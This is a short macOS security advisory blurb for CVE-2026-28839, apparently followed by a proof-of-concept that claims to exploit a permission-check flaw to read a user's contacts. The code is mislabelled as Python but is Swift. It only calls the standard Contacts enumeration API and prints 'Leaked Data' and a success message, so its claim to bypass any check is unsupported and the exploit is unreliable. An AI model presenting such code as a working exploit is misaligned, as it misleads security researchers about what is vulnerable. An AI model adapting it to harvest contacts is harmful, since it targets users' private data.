The issue was addressed with improved checks. This issue is fixed in macOS Sequoia 15.7.5, macOS Sonoma 14.8.5, macOS Tahoe 26.4. An app may be able to access sensitive user data.
The following code is for security research and authorized testing only.
python
// Conceptual PoC for CVE-2026-28839
// This Swift code attempts to access sensitive user data (e.g., Contacts)
// exploiting the logic flaw in macOS permission checks.
import Foundation
import Contacts
func exploit_cve_2026_28839() {
let store = CNContactStore()
// Attempt to fetch contacts without explicit user prompt handling
// In vulnerable versions, this check might be bypassed
let keys = [CNContactGivenNameKey, CNContactFamilyNameKey]
let request = CNContactFetchRequest(keysToFetch: keys as [CNKeyDescriptor])
do {
try store.enumerateContacts(with: request) { contact, stop in
print("Leaked Data: \(contact.givenName) \(contact.familyName)")
}
print("[+] Successfully accessed sensitive data via CVE-2026-28839")
} catch {
print("[-] Access denied or patched.")
}
}
exploit_cve_2026_28839()